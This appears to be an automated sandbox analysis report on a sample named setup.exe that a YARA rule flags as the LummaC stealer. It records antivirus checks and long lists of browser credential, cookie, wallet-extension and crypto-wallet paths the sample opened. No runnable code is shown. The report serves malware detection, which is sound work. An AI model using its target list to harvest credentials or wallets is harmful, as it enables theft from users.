Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2dd37f98 VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 37_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

37_2_00491486

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: setup.exe, 00000000.00000003.1948459100.000000000098E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005844284.0000000000986000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1970399938.000000000098B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: setup.exe, 00000000.00000003.1930721664.000000000098E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1930295451.0000000003670000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1930354486.0000000000905000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1930354486.0000000000942000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: find.exe, 0000001C.00000002.2514157581.000002962877B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 0000001C.00000002.2513784792.00000296286E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgui.exe

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: setup.exe PID: 7252, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: setup.exe, 00000000.00000002.2086918347.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: setup.exe, 00000000.00000002.2086918347.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: setup.exe, 00000000.00000002.2086918347.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: setup.exe, 00000000.00000003.1900295071.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: setup.exe, 00000000.00000003.1900295071.000000000093B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: setup.exe, 00000000.00000003.1900295071.0000000000962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: setup.exe, 00000000.00000002.2086918347.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: setup.exe, 00000000.00000003.1900295071.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: setup.exe, 00000000.00000003.1900197149.000000000096A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
